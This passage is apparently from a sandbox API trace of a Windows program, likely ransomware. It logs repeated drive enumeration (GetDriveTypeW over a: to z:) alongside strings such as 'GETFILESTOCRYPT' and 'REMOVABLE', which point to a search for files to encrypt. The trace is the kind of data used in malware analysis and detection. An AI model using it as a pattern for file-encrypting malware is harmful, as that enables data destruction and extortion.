lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.921] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.921] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.921] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.921] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.921] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.921] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.921] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.922] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.922] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.922] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.922] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.922] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.922] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.922] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.922] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.922] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.923] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.923] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.923] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.923] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.923] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.923] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.924] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.924] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.924] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.924] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.925] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.926] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.926] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.926] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.926] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.926] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.929] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.929] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.929] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.929] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.929] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.929] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.930] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.930] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.930] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.930] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.930] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.930] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.930] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.930] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.930] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.931] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.932] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.933] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.933] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.933] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.933] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.933] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.934] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.934] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.934] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.934] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.934] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.934] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.934] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.934] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.934] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.935] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.935] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.935] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.935] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.935] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.935] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.935] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.935] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.935] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.935] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.936] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.936] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.936] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.936] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.936] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.936] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.936] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.937] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0082.938] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0082.938] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0082.938] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0082.938] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0082.938] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0082.938] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0082.939] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0082.939] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0082.939] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0082.939] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0082.939] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.939] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.939] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.939] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.940] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.940] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.940] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.940] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.940] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.940] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.940] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.941] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.941] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0082.941] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0082.941] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0082.941] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0082.941] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0082.941] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0082.941] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0082.942] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0082.942] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0082.942] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0082.942] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0082.942] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0082.943] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0082.943] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0082.943] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0082.943] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.943] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.943] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.943] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.944] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.944] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.944] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0082.944] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.944] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.944] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.944] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.945] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.945] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.945] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.948] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.948] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.948] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.949] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.949] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.949] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.949] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.949] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.949] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.949] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.949] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.949] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.949] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.950] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.950] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.950] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.950] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.950] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.950] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.950] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0082.950] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.950] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0082.950] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.950] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0082.951] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0082.951] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0082.951] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 